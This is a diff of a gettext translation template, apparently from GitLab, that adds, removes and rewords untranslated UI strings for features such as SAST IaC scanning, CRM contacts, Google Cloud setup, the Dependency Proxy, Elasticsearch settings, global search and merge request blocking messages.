+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
